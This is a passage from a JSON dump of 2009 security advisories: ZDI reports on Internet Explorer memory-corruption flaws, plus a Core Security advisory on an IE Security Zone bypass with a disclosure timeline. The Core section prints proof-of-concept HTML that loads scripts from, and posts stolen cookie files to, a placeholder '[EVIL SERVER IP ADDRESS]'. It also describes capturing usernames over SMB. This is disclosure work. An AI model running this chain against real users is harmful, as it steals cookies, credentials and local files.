Due to the controllable nature of the web browser, this\r\nvulnerability can be exploited to remotely compromise a system running\r\nunder the security context of the currently logged in user.\r\n\r\n-- Vendor Response:\r\nMicrosoft has issued an update to correct this vulnerability. More\r\ndetails can be found at:\r\n\r\nhttp://www.microsoft.com/technet/security/bulletin/MS09-019.mspx\r\n\r\n-- Disclosure Timeline:\r\n2009-01-26 - Vulnerability reported to vendor\r\n2009-06-10 - Coordinated public release of advisory\r\n\r\n-- Credit:\r\nThis vulnerability was discovered by:\r\n * ling & wushi of team509\r\n\r\n-- About the Zero Day Initiative (ZDI):\r\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents\r\na best-of-breed model for rewarding security researchers for responsibly\r\ndisclosing discovered vulnerabilities.\r\n\r\nResearchers interested in getting paid for their security research\r\nthrough the ZDI can find more information and sign-up at:\r\n\r\n http://www.zerodayinitiative.com\r\n\r\nThe ZDI is unique in how the acquired vulnerability information is\r\nused. TippingPoint does not re-sell the vulnerability details or any\r\nexploit code. Instead, upon notifying the affected product vendor,\r\nTippingPoint provides its customers with zero day protection through\r\nits intrusion prevention technology. Explicit details regarding the\r\nspecifics of the vulnerability are not exposed to any parties until\r\nan official vendor patch is publicly available. Furthermore, with the\r\naltruistic aim of helping to secure a broader user base, TippingPoint\r\nprovides this vulnerability information confidentially to security\r\nvendors (including competitors) who have a vulnerability protection or\r\nmitigation product.\r\n\r\nOur vulnerability disclosure policy is available online at:\r\n\r\n http://www.zerodayinitiative.com/advisories/disclosure_policy/", "edition": 1, "modified": "2009-06-11T00:00:00", "published": "2009-06-11T00:00:00", "id": "SECURITYVULNS:DOC:21989", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21989", "title": "ZDI-09-038: Microsoft Internet Explorer Event Handler Memory Corruption Vulnerability", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:30", "bulletinFamily": "software", "cvelist": ["CVE-2009-1531"], "description": "ZDI-09-039: Microsoft Internet Explorer onreadystatechange Memory Corruption\r\nVulnerability\r\nhttp://www.zerodayinitiative.com/advisories/ZDI-09-039\r\nJune 10, 2009\r\n\r\n-- CVE ID:\r\nCVE-2009-1531\r\n\r\n-- Affected Vendors:\r\nMicrosoft\r\n\r\n-- Affected Products:\r\nMicrosoft Internet Explorer 7\r\n\r\n-- Vulnerability Details:\r\nThis vulnerability allows remote attackers to execute arbitrary code on\r\nvulnerable installations of Microsoft Internet Explorer. User\r\ninteraction is required to exploit this vulnerability in that the target\r\nmust visit a malicious page.\r\n\r\nThe specific flaw exists when repeated calls are made to\r\ngetElementsByTagName() and the reordering of the elements in the\r\ndocument causes an object to be allocated. The use of the event\r\n"onreadystatechange" during this operation improperly frees the\r\npreviously allocated resource. The combination, with repeated page\r\nrendering, leads to the exploitable memory corruption.\r\n\r\n-- Vendor Response:\r\nMicrosoft has issued an update to correct this vulnerability. More\r\ndetails can be found at:\r\n\r\nhttp://www.microsoft.com/technet/security/bulletin/MS09-019.mspx\r\n\r\n-- Disclosure Timeline:\r\n2009-01-26 - Vulnerability reported to vendor\r\n2009-06-10 - Coordinated public release of advisory\r\n\r\n-- Credit:\r\nThis vulnerability was discovered by:\r\n * ling&amp;wushi of team509\r\n\r\n-- About the Zero Day Initiative (ZDI):\r\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents\r\na best-of-breed model for rewarding security researchers for responsibly\r\ndisclosing discovered vulnerabilities.\r\n\r\nResearchers interested in getting paid for their security research\r\nthrough the ZDI can find more information and sign-up at:\r\n\r\n http://www.zerodayinitiative.com\r\n\r\nThe ZDI is unique in how the acquired vulnerability information is\r\nused. TippingPoint does not re-sell the vulnerability details or any\r\nexploit code. Instead, upon notifying the affected product vendor,\r\nTippingPoint provides its customers with zero day protection through\r\nits intrusion prevention technology. Explicit details regarding the\r\nspecifics of the vulnerability are not exposed to any parties until\r\nan official vendor patch is publicly available. Furthermore, with the\r\naltruistic aim of helping to secure a broader user base, TippingPoint\r\nprovides this vulnerability information confidentially to security\r\nvendors (including competitors) who have a vulnerability protection or\r\nmitigation product.\r\n\r\nOur vulnerability disclosure policy is available online at:\r\n\r\n http://www.zerodayinitiative.com/advisories/disclosure_policy/", "edition": 1, "modified": "2009-06-11T00:00:00", "published": "2009-06-11T00:00:00", "id": "SECURITYVULNS:DOC:21987", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21987", "title": "ZDI-09-039: Microsoft Internet Explorer onreadystatechange Memory Corruption Vulnerability", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "zdi": [{"lastseen": "2020-06-22T11:40:17", "bulletinFamily": "info", "cvelist": ["CVE-2009-1528"], "edition": 3, "description": "This vulnerability allows attackers to execute arbitrary code on vulnerable installations of Microsoft Internet Explorer. User interaction is required to exploit this vulnerability in that the target must visit a malicious page. The specific vulnerability exist due to improper AJAX request synchronization in Internet Explorer. When many asynchronous XMLHttpRequest are running concurrently memory corruption can occur that could be remotely exploited by a malicious attacker.", "modified": "2009-06-22T00:00:00", "published": "2009-06-10T00:00:00", "href": "https://www.zerodayinitiative.com/advisories/ZDI-09-037/", "id": "ZDI-09-037", "title": "Microsoft Internet Explorer Concurrent Ajax Request Memory Corruption Vulnerability", "type": "zdi", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-22T11:40:54", "bulletinFamily": "info", "cvelist": ["CVE-2009-1529"], "edition": 3, "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Internet Explorer. User interaction is required to exploit this vulnerability in that the target must visit a malicious page. The specific vulnerability exists when calling the setCapture method on a range of objects. When setCapture is called on a collection of specially crafted objects memory becomes corrupted. When the capture is released, arbitrary memory is accessed potentially leading to remote code execution. Exploitation of this vulnerability will lead to system compromise under the credentials of the currently logged in user.", "modified": "2009-06-22T00:00:00", "published": "2009-06-10T00:00:00", "href": "https://www.zerodayinitiative.com/advisories/ZDI-09-036/", "id": "ZDI-09-036", "title": "Microsoft Internet Explorer setCapture Memory Corruption Vulnerability", "type": "zdi", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-22T11:41:23", "bulletinFamily": "info", "cvelist": ["CVE-2009-1532"], "edition": 3, "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Internet Explorer 8. User interaction is required to exploit this vulnerability in that the target must visit a malicious page. The specific flaw exists during the rendering of an HTML page with malformed row property references, resulting in a dangling pointer which can be abused to execute arbitrary code. Internet Explorer 7 is not affected.", "modified": "2009-06-22T00:00:00", "published": "2009-06-10T00:00:00", "href": "https://www.zerodayinitiative.com/advisories/ZDI-09-041/", "id": "ZDI-09-041", "title": "Microsoft Internet Explorer 8 Rows Property Dangling Pointer Code Execution Vulnerability", "type": "zdi", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-22T11:40:40", "bulletinFamily": "info", "cvelist": ["CVE-2009-1530"], "edition": 3, "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Internet Explorer. User interaction is required to exploit this vulnerability in that the target must visit a malicious page. The specific flaw exists when repeatedly calling event handlers after adding nodes of an HTML document. When a specially crafted webpage is repeatedly rendered, memory is improperly reused after it has been freed. Due to the controllable nature of the web browser, this vulnerability can be exploited to remotely compromise a system running under the security context of the currently logged in user.", "modified": "2009-06-22T00:00:00", "published": "2009-06-10T00:00:00", "href": "https://www.zerodayinitiative.com/advisories/ZDI-09-038/", "id": "ZDI-09-038", "title": "Microsoft Internet Explorer Event Handler Memory Corruption Vulnerability", "type": "zdi", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-22T11:42:07", "bulletinFamily": "info", "cvelist": ["CVE-2009-1531"], "edition": 3, "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Internet Explorer. User interaction is required to exploit this vulnerability in that the target must visit a malicious page. The specific flaw exists when repeated calls are made to getElementsByTagName() and the reordering of the elements in the document causes an object to be allocated. The use of the event \"onreadystatechange\" during this operation improperly frees the previously allocated resource. The combination, with repeated page rendering, leads to the exploitable memory corruption.", "modified": "2009-06-22T00:00:00", "published": "2009-06-10T00:00:00", "href": "https://www.zerodayinitiative.com/advisories/ZDI-09-039/", "id": "ZDI-09-039", "title": "Microsoft Internet Explorer onreadystatechange Memory Corruption Vulnerability", "type": "zdi", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2016-12-05T22:25:37", "description": "", "published": "2009-06-10T00:00:00", "type": "packetstorm", "title": "Core Security Technologies Advisory 2008.0826", "bulletinFamily": "exploit", "cvelist": ["CVE-2009-1140"], "modified": "2009-06-10T00:00:00", "id": "PACKETSTORM:78252", "href": "https://packetstormsecurity.com/files/78252/Core-Security-Technologies-Advisory-2008.0826.html", "sourceData": "`-----BEGIN PGP SIGNED MESSAGE----- \nHash: SHA1 \n \nCore Security Technologies - CoreLabs Advisory \nhttp://www.coresecurity.com/corelabs/ \n \nInternet Explorer Security Zone restrictions bypass \n \n \n1. *Advisory Information* \n \nTitle: Internet Explorer Security Zone restrictions bypass \nAdvisory ID: CORE-2008-0826 \nAdvisory URL: http://www.coresecurity.com/content/ie-security-zone-bypass \nDate published: 2009-06-09 \nDate of last update: 2009-06-09 \nVendors contacted: Microsoft \nRelease mode: Coordinated release \n \n \n2. *Vulnerability Information* \n \nClass: Client side \nRemotely Exploitable: Yes \nLocally Exploitable: Yes \nBugtraq ID: 33178 \nCVE Name: CVE-2009-1140 \n \n \n3. *Vulnerability Description* \n \nInternet Explorer (IE) is the most widely used Web browser, with an \nestimated count of 1,100 million users according to a worldwide survey \nconducted and published in 2008 [1]. This advisory describes a \nvulnerability that provides access to the contents of any file stored in \nthe local filesystem of user's machines running vulnerable versions of IE. \n \nExploitation of the vulnerability relies solely on the ability for a \nwould-be attacker to provide malicious HTML content from a website and \nto predict the full pathname for the file that will be used to cache it \nlocally on the victim's system. If the entire path name can be \npredicted, the attacker can cause a redirection to the locally stored \nfile using an URI specified in UNC form and force the local content to \nbe rendered as an HTML document, which will permit to run scripting \ncommands and instantiate certain ActiveX controls. \n \nAs a result of a successful attack, security or privacy-sensitive \ninformation can be obtained by an attacker including but not limited to \nuser authentication credentials for any web application domain, HTTP \ncookies, session management data, cached content of web applications in \ndifferent domains and any files stored on local filesystems. \n \nThe bug is related to a lack of enforcement of security policies \nassigned to URL Security Zones [2] when content from the corresponding \nzone is loaded and rendered from a local file. These issues have been \nfound in the way that security policies are applied when a URI is \nspecified in the UNC form (i.e., '\\\\MACHINE_NAME_OR_IP\\PATH_TO_RESOURCE'): \n \n1. When a remote site attempts to access a local resource, IE will \nfail to enforce the Zone Elevation restrictions. \n2. When browsing a remote site, IE will not properly enforce the \nSecurity Zone permissions, allowing a site belonging to a less secure \nzone to be treated as belonging to a more privileged one. \n \n \n4. *Vulnerable packages* \n \n. Internet Explorer 5.01 Service Pack 4 \n. Internet Explorer 6.0 \n. Internet Explorer 6.0 Service Pack 1 \n. Internet Explorer 7 (not exploitable with Protected mode on, \navailable on Vista) \n \n \n4.1. *Vulnerable platforms* \n \n. Microsoft Windows 2000 up to and including Service Pack 4 \n. Microsoft Windows Server 2003 up to and including Service Pack 2 \n. Microsoft Windows XP up to and including Service Pack 3 \n. Windows Vista up to and including Service Pack 1 (not exploitable \nwith IE running with Protected mode on) \n. Windows Server 2008 \n \n \n5. *Non-vulnerable packages* \n \n. Internet Explorer 8 under Windows 2000/2003/XP/Vista \n \n \n6. *Vendor Information, Solutions and Workarounds* \n \nThe following workarounds can prevent exploitation of the vulnerability: \n \n. Use Internet Explorer's Protocol Lockdown feature control to \nrestrict the \"file\" protocol to prevent HTML from UNC path to run script \nor ActiveX controls. \n. Set the Security Level setting for the Internet and Intranet Zones \nto High to prevent IE from running scripts or ActiveX controls. \n. Manually disable Active Scripting for the Internet and Intranet \nZone with a custom security setting. \n. Only run IE in Protected Mode if it is available on the operating \nsystem. \n. Use a different web browser to navigate untrusted web sites. \n \nAdditionally, although disabling file sharing if it is not necessary and \nfiltering outbound SMB connections at the endpoint or network perimeter \nmay not prevent exploitation it is generally a good security measure to \nprevent disclosure of sensitive information such as valid usernames of \nendpoint users. \n \nMicrosoft has issued a patch to fix the vulnerability and a detailed \ndescription of how to implement the workarounds on IE. It is available \nas Security Bulletin http://go.microsoft.com/fwlink/?LinkID=150860. \n \nMicrosoft's Research and Defense blog has further discussion about the \nvulnerability, workarounds and mitigations [3]. \n \n \n7. *Credits* \n \nThis vulnerability was discovered and researched by Jorge Luis Alvarez \nMedina from Core Security Consulting Services (SCS). Additional research \nwas made by Federico Muttis from Core Security Exploit Writers Team (EWT). \n \n \n8. *Technical Description / Proof of Concept Code* \n \nInternet Explorer uses a feature known as URL Security Zones [2], which \ndefines a set of privileges for Web sites and applications depending on \ntheir apparent level of trustworthiness. The zones available in the \nproduct include: \n \n. *Internet Zone: * For Web sites on the Internet that do not belong \nto another zone. \n. *Local Intranet Zone: * For content located on an organization's \nintranet. \n. *Trusted Sites Zone: * For content located on Web sites that are \nconsidered more reputable or trustworthy than other sites on the Internet. \n. *Restricted Sites Zone: * For Web sites that contain content that \ncan cause (or have previously caused) problems when downloaded. \n. *Local Machine Zone: * This is an implicit zone for content that \nexists on the local computer and it is not directly configurable through \nInternet Explorer security options by the user. \n \nInternet Explorer users or Administrators can assign specific websites \nor domains to any of the available zone except the Local Machine Zone. \nThe ability for a given website to perform security-sensitive operations \non the web browser is determined by the *Security Level* of the zone to \nwhich the site was assigned. Each zone can be set to one of three preset \nsecurity levels (High, Medium-High, Medium) or to a custom level with \nsecurity policy settings specified by the user or administrator. \n \nBy default, all websites that are determined not to be in the Local \nIntranet zone and are not explicitly listed in the Restricted Sites or \nTrusted Sites zones are assigned the *Internet Zone* which has a default \nsecurity setting of Medium-High. Thus, for most IE users the \nsecurity-sensitive actions that a browser is allowed to perform while \nconnected to an untrusted Internet site are those specified by the \nsecurity policies of the Internet Zone at the Medium-High security level. \n \nThere are some issues in the way IE enforces zone security policies when \nan URI is specified in the UNC form (i.e., \n'\\\\MACHINE_NAME_OR_IP\\PATH_TO_RESOURCE'). In this case, Internet \nExplorer classifies as *Internet Zone* any UNC address pointing to an IP \naddress including '127.0.0.1'. As a result, any website (belonging to \nany security zone) can address and redirect the navigation flow to files \nstored in '\\\\127.0.0.1'. \n \nIf an attacker controlling a website finds a way to store HTML with any \nvalid scripting code the local file system of the visitor and then \nredirects the browser's navigation flow that local file \n('\\\\127.0.0.1\\full_file_name'), then this code will be loaded and \nrendered as if it belonged to the *Internet Zone* but since the file \ncontaining it is stored in '\\\\127.0.0.1' it would also be able to access \nany other file on the visitor's file system. \n \nThe problem is derived from the sequence of actions performed by \nInternet Explorer to determine the content-type of the content to be \nloaded and the appropriate way to render it. The algorithm followed for \nthis purpose is described in Microsoft's Knowledgebase article titled \nMIME Type Detection in Internet Explorer [4] and implemented in the \nfunction 'FindMimeFromData' in 'URLMON.DLL'[5]. \n \nIn the following section, proof of concept code is provided to \ndemonstrate the problem using the local storage used by Internet \nExplorer to store the user's browsing history to deliver HTML with \nscripting code and force IE to render it. This analysis is valid for any \nWindows NT based operating system but should be slightly modified to run \nunder Windows Vista. It takes advantage of the following features: \n \n1. The IE user's browsing history is compounded of different files \nand folders. One of these files is named 'index.dat', and is usually \nlocated at: 'C:\\Documents and settings\\USERNAME\\Local \nsettings\\History\\History.IE5\\index.dat'. Although the format of this \nfile is not entirely text, IE will store every visited URL including any \nparameters in the query string in plain text. \n2. Although the aforementioned folder cannot be directly browsed \nusing Windows Explorer or Internet Explorer, it can be browsed and \nviewed by referring to the same folder using the UNC notation: \n'\\\\[COMPUTERNAME|127.0.0.1]\\C$\\Documents and settings\\USERNAME\\Local \nsettings\\History\\History.IE5'. \n3. There are some HTML tags which allow to embed contents from \nexternal files and treat them with a specific format disregarding the \nfile extension. For example, the HTML '<object/>' tag: \n \n/----------- \n \n<object data=\"index.dat\" type=\"text/html\" width=\"100%\" height=\"50\"></object> \n- -----------/ \n \nIt allows to set the MIME type (in the type attribute) of an externally \nreferenced file in the data attribute which will be loaded as an object. \n4. Internet Explorer behaves in a slightly different way when \ndisplaying a page directly rather than displaying that page inside an \nHTML '<frame>' tag. For example, a page containing an HTML '<object>' \ntag like the one shown below will prompt the user to accept the download \nof file being referenced inside if loaded directly but it will be \nautomatically downloaded and rendered according to the specified MIME \ntype if the page is loaded inside an HTML '<frame>' tag. \n5. Internet Explorer will determine the security zone of an UNC \naddress as belonging to: \n \na. The *Internet Zone* if the path refers to the target using an \nIP address, for example '\\\\127.0.0.1'. \nb. The *Local Intranet Zone* if the path refers to the target \nusing a NetBIOS name, for example '\\\\COMPUTERNAME'. \n \n \n8.1. *Proof of Concept Code* \n \nThe following proof of concept code demonstrates that by enticing a user \nto do a single click on a malicious website it is possible to retrieve \nevery HTTP cookie from the unsuspecting victim user. The PoC uses \nVBScript to show the ability to steal sensitive information from any \nlocal files with either text or binary contents. \n \nThere are several steps involved in order to make the attack path clear. \nThe following diagram shows the files involved and the calling order. \nDetails concerning the relationship between these files will be \nexplained along the walkthrough: \n \n/----------- \n \nSee the figure in \nhttp://www.coresecurity.com/content/ie-security-zone-bypass \n \n- -----------/ \n \n \nEverything starts when the victim user points her browser to the \nfollowing URL: \n \n/----------- \n \nhttp://[EVIL SERVER IP ADDRESS]/evilsite.htm \n- -----------/ \n \nThis page will trigger SMB requests against our evil server to extract \nthe victim's 'USERNAME'. The script named 'captureSMB.pl' running in the \nserver will be the one in charge of processing these requests to create \nthe 'index.dat.english.pl' file which will be used later to redirect the \nvictim's browser to the locally stored index.dat file. \n \nHowever, the main objective of this page is to set (when redirecting to \nthe next page) HTML code inside the victim's history index.dat file. The \nHTML source code to accomplish such tasks would look very much like the \nfollowing: \n \n/----------- \n \n<html> \n<head> \n<script> \nfunction redirectNow(){ \ndocument.location = 'http://[EVIL SERVER IP ADDRESS]/setForm.htm\\?[HTML \nCODE]; \n} \n</script> \n</head> \n<body onload=\"javascript:redirectNow();\"> \n<img src=\"\\\\[EVIL SERVER IP ADDRESS]\\thereisnosuchfile.gif\"> \n</body> \n</html> \n \n- -----------/ \n \n \n \nIn turn, the next files in the redirecting chain ('setSecondScript.htm' \nand 'setFirstScript.htm' ) will also be used to accomplish the same \nsecond objective as the starting page. As stated before this will result \nin the victim's 'index.dat' history file storing the HTML code passed \ninside the query string in plaintext. The HTML code stored up to this \npoint would look like this: \n \n/----------- \n \n<form name='frmUpload' id='frmUpload' action='http://[EVIL SERVER IP \nADDRESS]/newcgi.pl' method='post' enctype='multipart/form-data'> \n<input type='hidden' name='data' id='data'> \n<input type='submit' value='Submit'> \n</form> \n<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/ \nstealcookies.vbs'></script> \n<script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/ \nscripty.vbs'></script> \n \n- -----------/ \n \n \n \nAt this point, the victim's browser will be served with \n'setFirstScript.htm'. This page will just redirect the browser to \nanother page ('frameset.htm'), which simply defines the frames where the \nlast page ('object.htm') referencing the 'index.dat' file will be loaded \ninto. \n \nThe HTML code used for loading the index.dat file and rendering it as \nHTML code is just a simple HTML '<object>' tag: \n \n/----------- \n \n<object data=\"index.dat.english.pl\" type=\"text/html\" width=\"100%\" \nheight=\"50\"></object> \n- -----------/ \n \n \n \nAs can be seen, this is the file we generated in the first step based \nupon the actual 'USERNAME' we obtained. In turn, this file will just \nredirect the request to the victim's 'index.dat': \n \n/----------- \n \nStatus: 302 Found \nContent-type: text/html \nLocation: \nfile://[127.0.0.1|COMPUTERNAME]/C$/Documents%20and%20settings/USERNAME/Local%20settings/History/History.IE5/index.dat \n \n- -----------/ \n \nThis indirection level is required to avoid Internet Explorer from \nprompting the user to download the target file. \n \nIf loaded, the file will execute under the *Internet \nZone* with the access rights of such zone but, given that the file \nis served from the local disk, with the ability to read any file in the \nlocal drive. However, success of the attack will depend on the ability \nto obtain or guess the right username as explained later. \n \nBy taking advantage of these sequence of actions, the script named \n'scripty.vbs' will read the victim's 'index.dat' located at \n'C:\\Documents and settings\\USERNAME\\Cookies\\' which indexes the whole \nset of HTTP cookie files managed by IE and send it back to the malicious \nserver using an HTML '<form>' we have set previously. At the server \nside, the PERL script named 'newCGI.pl' will: \n \n. process the received file, and store it in the server; \n. create the script named 'stealcookies.vbs' considering the cookies \nfilenames gathered from the stolen file; \n. redirect the victim's browser back to the 'framset.htm' page. \n \nThis time, when the victim's history 'index.dat' file is rendered again, \nthe script 'stealcookies.vbs' will be loaded. This script will read \nevery single cookie file the user has stored in the aforementioned \nInternet Explorer cookie's folder and will send the contents back to the \nserver using the same HTML '<form>' used before. On the server side the \none in charge of processing this data will be the Perl script named \n'newCGI.pl'. This time, it will: \n \n. Process the received file, and store it in the server under the \nname of 'stolen.txt'; \n. Redirect the victim's browser back to this file. \n \n \n8.2. *Obtaining the right USERNAME* \n \nTo get the right username, we can take advantage of some other \nidiosyncrasies of Internet Explorer. If it is possible to make outbound \nSMB requests to an untrusted web server we can leverage that to include \ninside the main page some references to inexistent resources in our \nserver. The client will attempt to establish a SMB connection against it \nfrom where the 'USERNAME' could be obtained as well as some other useful \ndata such as the 'COMPUTERNAME' or the ciphered challenge/response. \n \nOur proof of concept contemplates 2 possibilities: \n \n1. The victim's machine is able to establish a connection to the port \n445 (NetBIOS over TCP/IP) on the malicious server in which case the \ncorrect 'USERNAME' can be obtained to build the right UNC path to the \n'index.dat' file: \n \n/----------- \n \n\\\\127.0.0.1\\C$\\Documents and settings\\USERNAME\\Local \nsettings\\History\\History.IE5\\index.dat \n- -----------/ \n \n \n2. The port 445 is not allowed for outbound connections in which case \nthe code will simple try to guess the right username using common names \nsuch as Administrator to build an UNC path like the following: \n \n/----------- \n \n\\\\127.0.0.1\\C$\\Documents and settings\\Administrator\\Local \nsettings\\History\\History.IE5\\index.dat \n- -----------/ \n \n \n \nIn both cases, the file will be rendered as belonging to the *Internet \nZone*. \n \n \n8.3. *Proof of Concept Files* \n \nThe Proof of Concept can be downloaded from \nhttp://www.coresecurity.com/files/attachments/PoC-CORE-2008-0826.zip. \nThis would be a package with the following files: \n \n. 'evilsite.htm': The main page, which shots the SMB requests and \nredirects to 'setForm.htm' passing, as part of the query string, HTML \ncode to be set in the history 'index.dat' file. \n. 'setForm.htm': This page acts as a bridge (receives the evil \nscripting code as a query string parameter) and redirects to \n'setSecondScript.htm' passing HTML code to be set in the history \n'index.dat' file. \n. 'setSecondScript.htm': This page acts as a bridge (receives the \nevil scripting code as a query string parameter) and redirects to \n'setFirstScript.htm' passing HTML code to be set in the history \n'index.dat' file. \n. 'setFirstScript.htm': This page acts as a bridge (receives the evil \nscripting code as a query string parameter) and just redirects to \n'frameset.htm'. \n. 'frameset.htm': This page defines the frames where the page trying \nto access the 'index.dat' file will be loaded into. \n. 'stealCookies.htm': Same as frameset.htm, this page defines the \nframes where the page trying to access the 'index.dat' file will be \nloaded into. \n. 'object.htm': The page to be loaded in 'frameset.htm'. It covers \nthe test cases 1 and 2 explained above in this document. \n. 'captureSMB.pl': This script must be running in the example server. \nIt will be listening for SMB requests, and when they occur, will create \na pair of 'index.dat.[LANG].pl' files, attempting to cover a couple of \nWindows OS languages. \n. 'newCGI.pl': This file will handle the files received from \nscritpy.vbs, generate the script named 'stealcookies.vbs' and, in a \nsubsequent call, will receive and store the stolen cookies. \n. 'scripty.vbs': A script file loaded by the HTML code written in the \n'index.dat' file. It will send the victim's cookies 'index.dat' file \nback to the server. \n. 'index.dat.english.default.pl': A redirect to the file assuming the \nuser Administrator under an English language Windows version. \n. 'index.dat.spanish.default.pl': A redirect to the file assuming the \nuser Administrador under a Spanish language Windows version. \n \n \n9. *Report Timeline* \n \n. 2008-10-08: \nCore Security Technologies notifies the Microsoft Security Response \nCenter (MSRC) that a vulnerability has been found in Internet Explorer \n(IE). Core sends a draft security advisory with technical details and \nPoC files and announces its initial plan to publish the advisory on \nDecember 1st, 2008. \n \n. 2008-10-09: \nThe MSRC acknowledges notification. \n \n. 2008-10-09: \nMSRC states that it is currently investigating the reported issue. \n \n. 2008-10-14: \nMSRC announces the investigation was completed. The flaw can be \nreproduced by the vendor and it is considered a bulletin class issue. \n \n. 2008-10-14: \nMSRC announces that the vendor will not be able to hit a December \nrelease date due to the mandatory quality test cycle required for IE \nupdates. \n \n. 2008-10-16: \nCore asks MSRC for an estimated date to fix these issues. \n \n. 2008-11-04: \nCore requests an answer to the previous mail and also details about: \n \n1. the root cause of the problem, \n2. the list of affected platforms, and \n3. the severity rating Microsoft has assigned to the bug. \n \n. 2008-11-05: \nMSRC responds that patches to IE ship every two months and the next \navailable ship date will be February 10th. The case is currently rated \nas an Important class Information Disclosure vulnerability. Vendor \nprovides a list of affected components and platforms. The MSRC was able \nto reproduce this issue on all IE versions with the following \nexceptions: IE7 and IE8 in Windows Vista when Protected Mode is ON. In \nspite of that MSRC does not include IE8 in list of affected components \nbecause it is still a beta product. \n \n. 2009-01-08: \nCore asks MSRC if it is still on track to release patches on February \n10th, 2009. \n \n. 2009-01-09: \nMSRC responds that the out-of-band fix released in December [6] took a \nlot of the resources that were assigned to February's release schedule \nand will not be able to meet the February release date. MSRC informs the \nnext available release date would be April 14th, 2009. \n \n. 2009-03-23: \nCore asks MSRC if it is still on track to release fixed versions on \nApril 14th. \n \n. 2009-03-26: \nMSRC responds the product team addressed this issue in IE8 [7] with the \nplan to port that code fix down-level (IE7, IE6 and IE5). In order to \naccomplish these fixes in the previous IE versions, MSRC informs Core \nthe first available scheduled release in the future will be in June, 2009. \n \n. 2009-03-26: \nCore indicates that the previous email from MSRC is quite confusing. It \nseems to indicate that the vulnerability is already fixed in IE8 whereas \nat the time of the original report IE8 was still a beta product and \nthere was not any communication from MSRC indicating whether the problem \nwas going to be fixed nor a tentative date for such fix. Core asks MSRC \nto confirm that the vulnerability was indeed fixed in the released \nversion of IE8 while two consecutive tentative released date for patches \nto the officially confirmed vulnerable versions IE5 to IE7 have been \nmissed. In the case of such confirmation Core also asks clarification \nabout Microsoft's previously stated policy of releasing fixes for all \nvulnerable versions at the same time as indicated in the emails \nexchanged during the reporting process of a IE vulnerability closely \nrelated to this one that Microsoft catalogued as an Outlook \nExpress/Windows Mail bug [8]. Core indicates that it considers that an \n8-month release cycle is well beyond the reasonable time frame to issue \nfixes for a bug that it considered rooted at the same cause of a \npreviously reported one, for which differences in its technical analysis \nwere not resolved because Microsoft repeatedly ignored request for a \ntechnical root cause analysis. Therefore, pending answers to the above \nquestions and specific technical details about the root cause of the \nproblem and when, how and which platforms have the bug fixed Core will \nproceed with publication on April 14th as previously agreed. In the \nmeantime Core will further investigate the issue in order to provide \ncustomers, ISVs and the security community all the necessary information \nto assess their risk and independently devise fixes, workarounds or \nmitigations. \n \n. 2009-04-08: \nCore requests an answer to the previous mail. Core is on track to \npublish the security advisory and would like confirmation that the \nreleased version of IE8 fixed the bug. \n \n. 2009-04-08: \nMSRC notifies Core that the reason why IE8 did ship with this fix ahead \nof the down-level versions was because IE8 was already in-development \nand it was safer and cleaner to check in this fix into the existing \ndevelopment cycle of IE8. MSRC also confirms that the bug is fixed in \nthe currently released version of IE8 and it is currently being \nback-ported to the down-level versions of IE. MSRC indicates that it \ndoes not document security fix changed in the latest products if the \nvulnerability continues to exist in down-level support platforms which \nhelps Microsoft to \"not zero-day the down-level platforms\" and gives the \nopportunity to provide updates for them. MSRC states that the vendor is \ncurrently in the path to release the update in June and would appreciate \nit if it could coordinate the release of Core's advisory on that same time. \n \n. 2009-04-13: \nCore notifies that probably the advisory will be released in a week \nalthough the final decision has not been made yet and that a vendor \nstatement and workarounds would be highly appreciated. Core is working \non the final version of the advisory and would like to improve the \nworkaround and mitigation sections, for that purpose it is requesting \nassistance from the vendor. Core asks MSRC for mitigation and \nworkarounds for users not running IE8. It also notifies that upon \nfurther research it found a variation of the original attack that may \nstill compromise the original release of IE8. Other versions of IE8 \n(with the same version and build number) do not seem to be vulnerable to \nthe attack variation. The 'non-vulnerable' instance of IE8 tested was \npatched by Windows auto-update in or around April 7th. Core asks MSRC to \nconfirm whether the original IE8 release was vulnerable to bug and the \nbug later silently fixed by an update shipped through Windows auto-update. \n \n. 2009-04-14: \nMSRC asks Core more details about the version of IE8 that was \nsuccessfully compromised by a variation of the original attack. The MSRC \nnotifies the original attack was addressed in the RC1 version of IE8 and \nwants to make sure there is not an issue with the fix. \n \n. 2009-04-14: \nMSRC indicates that received verification from the product team that \nProtected Mode ON for the Internet Zone does block the attack in IE7. \nThe vendor states that it is currently investigating the IE8 specific \nmitigations. With regards to IE8 the product team included the fix in RC \nof IE8 which was released in January and it is unsure about the \ndifferences between vulnerable and non-vulnerable instances of IE8. The \nproduct team is still working on the fixes for the next release but MSRC \nwould like to make private binaries available for testing in the event \nthat Core postpones publication of the advisory. MSRC offers to setup a \nconference call to discuss some of the challenges of fixing this bug and \nwhy it required in-depth investigation. \n \n. 2009-04-16: \nCore Security and the Secure Windows Initiative (SWI) discuss this issue \nin a conference call. The vendor states that it will obtain a list of \nnon-security updates released for IE8 post RTM and obtain a similar list \nfor Office and Windows since April 1st. The goal is to understand \nwhether a non-security update has fixed a security bug. The vendor will \nalso provide the technical description and the private 